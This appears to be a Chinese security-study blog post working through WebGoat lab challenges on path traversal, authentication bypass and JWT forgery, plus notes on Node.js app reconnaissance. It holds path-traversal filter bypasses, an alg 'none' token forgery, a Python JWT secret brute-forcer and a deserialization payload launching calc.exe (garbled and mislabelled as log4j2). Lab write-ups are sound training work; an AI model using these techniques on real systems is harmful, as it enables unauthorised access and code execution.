安全基础~web攻防特性2

文章目录

  • 知识补充
  • Javaweb安全之webGoat
    • webgoat靶场搭建
    • 闯关
      • General
      • Injection
      • ldentity & Auth Failure
      • log4j2漏洞利用
  • JS项目&Node.JS框架安全

知识补充

Burpsuite Render在无法预览显示时,可以适当的清理缓存
win10下输入文字变成繁体解决

Javaweb安全之webGoat

webgoat靶场搭建

进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
下载文件(最新版本包含新的漏洞靶场):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
执行命令,开启靶场:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar

安全基础~web攻防特性2_第1张图片
访问链接:http://127.0.0.1:8080/WebGoat,自动跳转login界面,注册登录。

其中webgoat用于进行WEB漏洞测试和学习的JAVA应用程序,webwolf用于模拟攻击者,其中提供了许多辅助攻击者的工具
安全基础~web攻防特性2_第2张图片

参考文章1
参考文章2

闯关

General

Basics HTTP基础

  1. 随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的
  2. 就是逆序输出
  3. 输入框让输入POST或GET命令,输入魔法数字,抓包
    安全基础~web攻防特性2_第3张图片
    注 \color{red}{注} :这个数字是会变的,需要每次抓包观察

Proxies HTTP代理

  1. 将参数输入进去,进入bp,右键change method
    Change the Method to GET
    Add a header ‘x-request-intercepted:true’
    Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
    Then let the request continue through (by hitting the play button).
    安全基础~web攻防特性2_第4张图片

Developer Tools 开发者工具

  1. Using the console
    在concle中输入webgoat.customjs.phoneHome(),将随机数粘贴进输入框
    安全基础~web攻防特性2_第5张图片
    6. Working with the Network tab
    在http请求的请求字段中包含一个networkNum字段,将随机数复制上去
    安全基础~web攻防特性2_第6张图片
    注 \color{red}{注} :想到为什么会在payload中才能看到这串数字
    前后端联调之Form Data与Request Payload,具体解释说道:该字段的出现类型主要伴随着Content-type的出现而出现

Injection

Path traversal 路径遍历
攻击者可以在其中访问或存储外部的文件和目录 应用程序的位置
解决问题:部分目录不允许上传可执行文件,向上级目录上传
查看源码:将jar宝解压,用idea打开,寻找对应的jar,添加道路,对源码进行查看

  1. 要求上传到C:\Users\2han/.webgoat-2023.8/PathTraversal位置,经过抓包后发现,其上传位置包含了一个resign,所以要上传到其上一级目录。
    安全基础~web攻防特性2_第7张图片修改目标位置
    @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
            return super.execute(file, fullName);
        }
    
    安全基础~web攻防特性2_第8张图片
    成功过关
    安全基础~web攻防特性2_第9张图片
  2. 对上次实验做了修复,需要相同的结果,结果如下
    安全基础~web攻防特性2_第10张图片
    第一行post到服务器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1,查找该文件,进行了单层过滤替代。
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }
    
    双写绕过
    安全基础~web攻防特性2_第11张图片
  3. 一样是将文件上传到该位置,getOriginalFilename()得到上传时的文件名,所以从文件名入手。
    源码
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }
    
    安全基础~web攻防特性2_第12张图片
  4. 一样的,直接看源码
    如果参数为null,或者不包含…或/,则进入下面的代码;
    获取id,有id则赋值,若没有id,则生成一个1~10的随机数作为id;
    catPicture是id后面加了.jpg;
    若出现path-traversal-secret.jpg参数,返回ok。

安全基础~web攻防特性2_第13张图片
开始尝试,当传入id=1,有返回
安全基础~web攻防特性2_第14张图片
尝试查找path-traversal-secret,当有…/时会出现非法字符提示,尝试使用反斜杠\仍旧无法绕过,使用%2e%2e%2f进行绕过

安全基础~web攻防特性2_第15张图片
安全基础~web攻防特性2_第16张图片
安全基础~web攻防特性2_第17张图片

总结:
目录遍历双写…/绕过,双写绕过;
返回400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源;
GET 请求参数中不允许存在…与/时,通过 url 编码绕过,%2e%2e%2f为. ./;
当服务器只允许获取当前格式的资源时,使用空白字符绕过,%20,%2a;
当使用post传参时,仅修改可变参数。

ldentity & Auth Failure

Authentication Bypasses 身份认证绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根据第一行数据可查找后台代码

身份认证:
认证问题答案,很多选项:
你叫什么名字等等…只有两个问题(类似原来的qq密保类的东西)

接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account

安全基础~web攻防特性2_第18张图片

JWT tokens

安全基础~web攻防特性2_第19张图片

由三部分构成,以.分隔,出现在cookie上
安全基础~web攻防特性2_第20张图片

The token is base64 encoded and consists of three parts:

1.header是base64编码后的头部信息    
	{'typ': 'JWT','alg': 'HS256'}    
	定义了声明token类型和签名算法alg   
2.payload是base编码的载荷部分,用来包含用户名,权限等数据    
	iss (issuer):签发人       
	sub (subject):主题   
	aud (audience):受众     
	exp (expiration time):过期时间   
	nbf (Not Before):生效时间,在此之前是无效的     
	iat (Issued At):签发时间  
	jti (JWT ID):编号    
	-定义一个payload:{
	"sub": "l3ife",
	"name": "l3ife",
	 "iat": 888888}
	 对其进行base64加密,得到jwt的第二部分
	eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前两段的base密文通过﹐拼接起来,然后对其进行HS256加密,再然后对 hs256密文进行base64url加密,最终得到token的第三段。
HS256加密:
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
RS256加密:      
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

解密平台:https://jwt.io/

安全基础~web攻防特性2_第21张图片
用户在成功对服务器进行身份验证时使用用户名和密码登录返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续调用服务器,它将新令牌附加到“Authorization”标头中。 服务器读取令牌并首先验证签名,验证成功后,服务器使用令牌中用于标识用户的信息。

  1. 用户无法投票,只有成为管理员才可以投票,需要更改令牌成为管理员用户,成了管理员用户才可以重置投票
    安全基础~web攻防特性2_第22张图片
    安全基础~web攻防特性2_第23张图片
    声明加密方法为HS512,第二部分声明用户名和权限,可以看到管理员权限为false
    将admin改为true,由于加密方法是HS512,且不知道秘钥,所以只能将alg的值改为none,即无加密方法。
    安全基础~web攻防特性2_第24张图片
    {
    “alg”: “none”
    }
    安全基础~web攻防特性2_第25张图片
    {
    “iat”: 1706459434,
    “admin”: “true”,
    “user”: “Tom”
    }
    安全基础~web攻防特性2_第26张图片
    11.  暴力破解便有可能将密钥解出。

    token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio

    安全基础~web攻防特性2_第27张图片
    暴力破解

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk'
        with open('top1000.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')	# bingo! found key --> victory <--
    

    根据要求修改username为webgoat;将密钥填进去;修改一下exp的时间戳,只要比当前时间晚就好。

13.  之前的日志,找到一种方法去让tom花钱订购书,在日志中发现token
安全基础~web攻防特性2_第28张图片
抓结账的宝,修改jwt,exp为请求过期时间,加密方式使用none

安全基础~web攻防特性2_第29张图片
参考链接
参考文章1
参考文章2

log4j2漏洞利用

<sorted-set>
 <string>foostring>
 <dynamic-proxy>
 <interface>java.lang.Comparableinterface>
 <handler class="java.beans.EventHandler">
 <target class="java.lang.ProcessBuilder">
 <command>
 <string>calc.exestring>
 command>
 target>
 <action>startaction>
 handler>
 dynamic-proxy>
sorted-set>

JS项目&Node.JS框架安全

JavaScript语言可以通过其网站本身代码检查查看,等同于白盒测试
在Javascript中也存在变量和函数,存在可控变量及函数调用,即参数漏洞

判断是否为js代码开发的web应用
插件wappalyzer
源代码简短
引入多个js文件
一般有/static/js/app.js 等顺序的js文件
cookie中有connect.sid

如何获取更多的JS文件?

JsFinder
Packer-Fuzzer
扫描器后缀替换字典

快速获取价值代码?

method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget

参考文章

你可能感兴趣的:(安全学习,安全)